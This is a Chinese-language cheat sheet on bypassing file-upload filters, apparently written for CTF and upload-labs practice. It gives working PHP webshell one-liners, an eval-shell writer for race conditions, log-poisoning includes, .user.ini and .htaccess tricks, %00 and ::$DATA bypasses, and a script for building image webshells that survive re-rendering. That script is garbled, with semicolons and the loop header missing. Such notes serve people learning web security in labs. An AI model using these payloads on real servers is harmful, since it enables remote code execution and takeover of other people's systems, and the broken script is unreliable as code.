文件上传
前台校验
- 利用burpsuite修改后缀名
- 禁用前端js
- 修改js代码
后端校验以及过滤绕过方法
- 可能会对CT头校验 比如 image/png
- 如果php被过滤 可以用=代替php
- Windows下 会自动把文件名最后如果是空格或者点 就会去除
- 所以例如upload-labs的前几关 可以使用点xx.php空格点去绕过 因为后端代码只会执行一遍 剩下xx.php. 但是点被自动去除 所以上传了正常的文件
- 如果没有首尾去空 可以在php后面加空格绕过 因为.php空格空格 不在黑名单里
- .php. 也同理
- 双写绕过 如果碰上字符串替换函数 可以写成.pphphp
- [] 过滤 可以用 {} 替代
- 如果;也过滤
- 在user.ini 这种包含条件下1可以写shell.png =
<?system('tac ../f*')?>
这样访问upload 因为执行了shell 所以就有flag的值了
- 还有一个姿势是
<?=eval(arry_pop($_POST))?>
- php脚本的最后一个分号可以省略
- 可以用include包含日志文件 然后通过ua传入一句话木马
- <?php include '/var/l'.'og/nginx/access.lo'.'g'?>
- 伪造图片头 GIF89a 写在bp的send包里
.user.ini文件
- .user.ini 相当于用户的配置文件
- 要求是上传目录里有一个php文件 然后我们可以选择包含进去 之后php文件会解析我们的木马
- 在里面可以包含文件 比如 auto_prepend_file=1.txt 这个时候再上传1.txt 这个马即可
- 或者auto_append_file 这个是包含在头 上面是包含在尾
htaccess文件
- 里面写AddType application/x-httpd-php .jpg . txt 意思是增加 这些后缀 用php来解析
- 前提是httpd.conf 里面的AllowOverride 得为all
图片马制作
- 在某个文件夹下 打开cmd
- 然后输入
copy yijuhua.php+1.jpg/b 000.jpg
- 表示把yijuhua.php和1.jpg合成一个000.jpg
额外数据流
- echo "你好" >>1.txt:nihao
- notepad 1.txt:nihao
- type 2.txt>>1.txt:study
- notepad 1.txt:study
- 以上是两种写入方式
- 所以如果后端代码没有去掉$DATA 可以上传muma.ph::$DATA文件 这样能上传上去
- 然后到Windows服务器里面 又会自动去掉::DATA后缀 成为正常木马
空字符截断
- %00 是url编码里面的空字符 当读取到%00的时候 后面的信息就会被抛弃(不读取) 所以如果文件上传的路径是可控的 我们就可以加上/xx.php%00
- %00只能用于php版本低于5.3 ,把magic_quotes_gpc关闭 get请求用%00
- post请求得先用占位符 占位 然后bp里面修改00的hex
图片头字节
- JPEG/JFIF 0xFF 0xD8
- PNG 0x89 0x50
- GIF 0x47 0x49
- BMP 0x42 0x4D
- TIFF 任意
二次渲染
- 用010editor tools 比较功能 看哪部分是不会变的 然后插入
- 或者已经被二次渲染过后的图片 也不会发生变化
- 使用php脚本进行图片马的生成
点击查看代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33)
$img = imagecreatetruecolor(32, 32)
for ($y = 0
$r = $p[$y]
$g = $p[$y+1]
$b = $p[$y+2]
$color = imagecolorallocate($img, $r, $g, $b)
imagesetpixel($img, round($y / 3), 0, $color)
}
imagepng($img,'1.png')
?>
条件竞争
- 通过与服务器的竞争
- 比如后端执行是 先保存之后 检查 不符合删除
- 所以可以在删除前抢先打开文件 然后执行文件 就可以生成新的文件 然后旧的文件被删除 我们可以连接新的马
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
- 上面是生成马
利用数组绕过验证
- 详细见uploadlabs pass21
- 一开始用数组分割 取第一个和最后一个位置 但如果原来的文件名是数组 就不会进行分割
- 所以要bp改成数组形式
- 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
- 因为数组的最后一位(假的)是空 所以没变化
- 因此第一位就是php结尾的了
木马连接方式
- 利用一句话木马成功后,可以打开木马所在的网址,post提交密码=system("命令") ;如ls ls ../
- 1=system("tac ../flag.php"); 逆序打印
- 蚁剑等shell软件连接